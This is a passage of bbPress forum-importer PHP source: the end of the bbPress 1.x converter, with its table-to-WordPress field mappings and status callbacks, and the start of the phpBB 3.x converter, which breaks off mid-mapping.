		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'   => 'forums',
			'from_fieldname'   => 'forum_slug',
			'to_type'          => 'forum',
			'to_fieldname'     => 'post_name',
			'callback_method'  => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'   => 'forums',
			'from_fieldname'   => 'forum_desc',
			'to_type'          => 'forum',
			'to_fieldname'     => 'post_content',
			'callback_method'  => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (bbPress v1.x Forum > 0 or Category = 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'meta',
			'from_fieldname'  => 'meta_value',
			'join_tablename'  => 'forums',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON meta.object_id = forums.forum_id AND meta.meta_key = "forum_is_category"',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		/**
		 * bbPress 1.x Forums do not support forum subscriptions
		 */

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_poster',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_slug',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'topics' table does not include content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_text',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_position IN (0,1)',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic status (Spam, Trash or Publish, bbPress v1.x publish = 0, trash = 1 & spam = 2)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_status',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_position IN (0,1)',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Topic status (Publish or Closed to new replies)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_open',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic author ip (Stored in postmeta)
		// Note: We join the 'posts' table because 'topics' table does not include author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_position IN (0,1)',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_start_time',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_start_time',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_time',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_time',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_modified_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_time',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'term_relationships',
			'from_fieldname'  => 'object_id',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'term_taxonomy',
			'from_fieldname'  => 'term_taxonomy_id',
			'join_tablename'  => 'term_relationships',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_taxonomy_id)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term description.
		$this->field_map[] = array(
			'from_tablename'  => 'term_taxonomy',
			'from_fieldname'  => 'description',
			'join_tablename'  => 'term_relationships',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_taxonomy_id)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'description',
			'callback_method' => 'callback_html'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'terms',
			'from_fieldname'  => 'name',
			'join_tablename'  => 'term_taxonomy',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_id) WHERE term_taxonomy.taxonomy = "bb_topic_tag"',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'terms',
			'from_fieldname'  => 'slug',
			'join_tablename'  => 'term_taxonomy',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_id) WHERE term_taxonomy.taxonomy = "bb_topic_tag"',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		/** Topic Subscriptions Section ***************************************/

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'term_relationships',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		// Join the 'term_taxonomy' table to link 'terms' 'term_relationships' tables
		$this->field_map[] = array(
			'from_tablename'  => 'term_taxonomy',
			'from_fieldname'  => 'term_taxonomy_id',
			'join_tablename'  => 'term_relationships',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_taxonomy_id)',
			'to_type'         => 'topic_subscriptions'
		);

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'terms',
			'from_fieldname'  => 'name',
			'join_tablename'  => 'term_taxonomy',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (term_id) WHERE term_taxonomy.taxonomy = "bb_subscribe"',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions',
			'callback_method' => 'callback_topic_subscriptions'
		);

		/** Favorites Section *************************************************/

		// Favorited topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'usermeta',
			'from_fieldname'  => 'meta_value',
			'from_expression' => 'WHERE usermeta.meta_key = "bb_favorites"',
			'to_type'         => 'favorites',
			'to_fieldname'    => '_bbp_favorites'
		);

		// Favorited user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'usermeta',
			'from_fieldname'  => 'user_id',
			'from_expression' => 'WHERE usermeta.meta_key = "bb_favorites"',
			'to_type'         => 'favorites',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		// Note: We join the 'topics' table to limit the replies section to only import replies
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_id',
			'join_tablename'  => 'posts',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_position NOT IN (0,1)',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply status (Spam, Trash or Publish, bbPress v1.x publish = 0, trash = 1 & spam = 2)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_status',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_text',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply order.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_position',
			'to_type'         => 'reply',
			'to_fieldname'    => 'menu_order'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'post_time',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'post_time',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'post_time',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'post_time',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_modified_gmt'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'ID',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_pass',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_password'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_login',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_nicename',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_registered',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_registered'
		);

		// User status.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_status',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_status'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * Translate the post status from bbPress 1's numerics to WordPress's
	 * strings.
	 *
	 * @param int $status bbPress 1.x numeric post status
	 * @return string WordPress safe
	 */
	public function callback_status( $status = 0 ) {
		switch ( $status ) {
			case 2 :
				$status = 'spam';    // bbp_get_spam_status_id()
				break;

			case 1 :
				$status = 'trash';   // bbp_get_trash_status_id()
				break;

			case 0  :
			default :
				$status = 'publish'; // bbp_get_public_status_id()
				break;
		}
		return $status;
	}

	/**
	 * Translate the forum type from bbPress 1.x numerics to WordPress's strings.
	 *
	 * @param int $status bbPress 1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == 1 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the topic status from bbPress 1's numerics to WordPress's
	 * strings.
	 *
	 * @param int $topic_status bbPress 1.x numeric status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $topic_status = 1 ) {
		switch ( $topic_status ) {
			case 0 :
				$topic_status = 'closed';  // bbp_get_closed_status_id()
				break;

			case 1 :
				default :
				$topic_status = 'publish'; // bbp_get_public_status_id()
				break;
		}
		return $topic_status;
	}

	/**
	 * Translate the topic sticky status type from bbPress 1.x numerics to WordPress's strings.
	 *
	 * @param int $status bbPress 1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 2 :
				$status = 'super-sticky'; // bbPress Super Sticky 'topic_sticky = 2'
				break;

			case 1 :
				$status = 'sticky';       // bbPress Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // bbPress Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count bbPress 1.x topic and reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This method is to save the salt and password together. That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		return false;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		return false;
	}

	/**
	 * This callback strips `topic-` from topic subscriptions taxonomy
	 *
	 * @since 2.6.0 bbPress (r5572)
	 *
	 * @param string $field Topic ID
	 * @return integer WordPress safe
	 */
	protected function callback_topic_subscriptions( $field ) {

		// Replace 'topic-' with '' so that only the original topic ID remains
		$field = absint( (int) preg_replace( '/(topic-)(\d+)/', '$2', $field ) );
		return $field;
	}
}
includes/admin/converters/phpBB.php000066600000075355151771460310013370 0ustar00<?php

/**
 * bbPress phpBB 3.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of phpBB v3 Converter.
 *
 * @since 2.3.0 bbPress (r4689)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/phpbb
 */
class phpBB extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'parent_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_topics_approved',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_posts_approved',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_topics_approved',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_posts_approved',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_desc',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'left_id',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 0 or Forum = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_type',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Unlocked = 0 or Locked = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_status',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_watch',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_watch',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_posts_approved',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_posts_approved',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_poster',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_first_poster_name',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_poster',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_id = topics.topic_first_post_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'topics' does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_text',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE posts.post_id = topics.topic_first_post_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic_title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_type',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * phpBB Forums do not support topic tags
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_watch',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_watch',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Favorites Section *************************************************/

		// Favorited topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bookmarks',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'favorites',
			'to_fieldname'    => '_bbp_favorites'
		);

		// Favorited user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bookmarks',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'favorites',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'post_id',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Setup reply section table joins
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic_id',
			'join_tablename'  => 'posts',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (topic_id) WHERE posts.post_id != topics.topic_first_post_id',
			'to_type'         => 'reply'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_username',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
